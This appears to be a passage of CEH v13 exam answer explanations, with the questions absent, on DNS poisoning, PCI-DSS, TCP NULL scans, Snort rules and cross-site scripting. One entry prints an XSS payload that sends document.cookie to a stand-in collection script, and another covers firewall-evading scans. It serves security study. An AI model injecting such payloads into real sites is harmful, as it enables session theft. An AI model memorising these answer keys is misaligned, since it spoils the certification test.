In this scenario, users outside the organization (like Smith and Joseph on dial-up) see the defaced site, while Joseph on the internal corporate network sees the legitimate site. Tripwire confirms that the files on the actual web server are intact. This clearly indicates that the attack was not on the server itself, but rather on how external users are being directed to a malicious server.

This behavior is indicative of a DNS poisoning attack. The attacker poisoned the DNS cache of an external DNS resolver, redirecting www.masonins.com to a malicious server. Internal DNS servers, unaffected by the poisoning, still resolved to the correct IP address.
From CEH v13:
Module 3: DNS Poisoning and Spoofing
Module 5: Vulnerability Analysis
CEH v13 Study Guide states:
"DNS poisoning involves injecting false information into a DNS resolver's cache, causing users to be redirected to malicious websites without changing the actual web server's content." Incorrect Options:
A: ARP spoofing affects local network address resolution, not global DNS.
B: SQL injection is used to exploit databases, not alter DNS records.
D: Routing table injection affects traffic routes, but wouldn't explain DNS-level redirection discrepancies.
Reference:CEH v13 Study Guide - Module 3: DNS Poisoning # Real-World ExamplesNIST SP 800-81r2 - Secure DNS Deployment Guide

In CEH v13 Module 01: Information Security Governance, PCI-DSS (Payment Card Industry Data Security Standard) is introduced as the mandatory compliance framework for organizations handling credit card transactions.
PCI-DSS Requirements Include:
Encrypting cardholder data.
Maintaining secure systems and applications.
Regular vulnerability testing and audits.
Restricting access to sensitive data.
Option Clarification:
A: FISMA: Applies to U.S. federal information systems.
B: HITECH: Related to health information privacy and HIPAA.
C: PCI-DSS: Correct for credit card companies and merchant environments.
D: SOX (Sarbanes-Oxley): Focuses on financial reporting, not card data.
Reference:
Module 01 - Compliance Standards: PCI-DSS Overview
CEH eBook: Security Regulations in the Financial Sector

document.write(<img.src=https://localhost/submitcookie.php cookie =+ escape(document.cookie) +/>); (Cookie and session ID theft)
https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/ As seen in the indicated question, cookies are escaped and sent to script to variable 'cookie'. If the malicious user would inject this script into the website's code, then it will be executed in the user's browser and cookies will be sent to the malicious user.

A NULL scan is a type of TCP scan where no TCP flags are set in the packet. This unconventional packet is used to evade firewalls and intrusion detection systems and to determine the state of a port based on the response.
Behavior:
* Open port # No response
* Closed port # RST (Reset)
From CEH v13 Courseware:
* Module 3: Scanning Networks
* Topic: TCP Flag Scanning Methods
CEH v13 Study Guide states:
"A NULL scan sends a TCP packet with all flags turned off. The system's response (or lack thereof) allows the attacker to infer whether a port is open or closed, especially on UNIX-based systems." Incorrect Options:
* B: Vague and inaccurate
* C: Refers to Xmas scan (URG, PSH, FIN)
* D/E: Irrelevant to TCP flags
Reference:CEH v13 Study Guide - Module 3: Scanning Networks # TCP NULL ScansRFC 793 - TCP Protocol Behavior

The given rule syntax is consistent with Snort, a popular open-source Intrusion Detection System (IDS). This rule alerts when any TCP traffic from any source IP and port is sent to IPs within the 192.168.100.0/24 subnet on port 21 (FTP), triggering the alert message: "FTP on the network!" The Snort rule format is:
alert protocol source_IP source_port -> destination_IP destination_port (rule_options) CEH v13 course materials teach this rule format under IDS/IPS configuration.
From CEH v13 Guide:
"Snort rules are used in IDS/IPS to define suspicious traffic patterns. An example rule: alert tcp any any ->
192.168.1.0/24 21 (msg: 'FTP detected') triggers an alert on FTP traffic within a subnet." Incorrect Options:
* A/C. IP tables are used in firewalls and routers but follow a completely different syntax.
* B. FTP servers do not use such alerting rules.
Reference - CEH v13 Study Guide:
Module 12: Evading IDS, Firewalls, and Honeypots
Section: Snort IDS Configuration